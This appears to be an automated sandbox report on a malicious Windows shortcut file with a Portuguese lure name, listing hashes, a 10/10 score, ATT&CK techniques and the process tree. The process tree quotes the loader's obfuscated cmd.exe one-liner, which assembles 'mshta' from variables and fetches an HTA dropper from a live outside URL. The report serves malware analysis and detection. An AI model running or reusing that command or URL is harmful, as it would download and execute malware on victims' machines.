972f77135de903dd1f0bf5d1721e1aaca3fddac2a64d76c47bd192b4008e79e3

Analysis

max time kernel
148s
max time network
123s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

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General

Target
Contrato_Indeniza_Brasil-ERF2BI.lnk
Size 1KB
Sample260803-pycsmsy1gx
SHA256 972f77135de903dd1f0bf5d1721e1aaca3fddac2a64d76c47bd192b4008e79e3
MD5 a378b8e4b9ce5a6421392ff4a282bc41
SHA1 d01bf8a7d219cf19e2719988807b25eeb560ab67
SHA512 6041aa92e3e1ab629cfa02bf4604c988062ede2cec63e8984ac1fe30d8b1bde7cc528737df05fa3fd1fc85de71f208d8d7ec1b52a56c8df91857df49e4e38566
TLSH
T1413197403AFD0614F2B38F7685BFAB2059BBBC968E20CA1D4080464C1462F00E57BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	1724	mshta.exe
6	1724	mshta.exe
9	1724	mshta.exe
10	1724	mshta.exe
11	1724	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
796	cmd.exe
1792	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 796 wrote to memory of 1792	796	cmd.exe	91
PID 1792 wrote to memory of 1724	1792	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-ERF2BI.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:796
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set UB=msh&&set Meand=ta&&start "" !UB!!Meand! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:1724

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads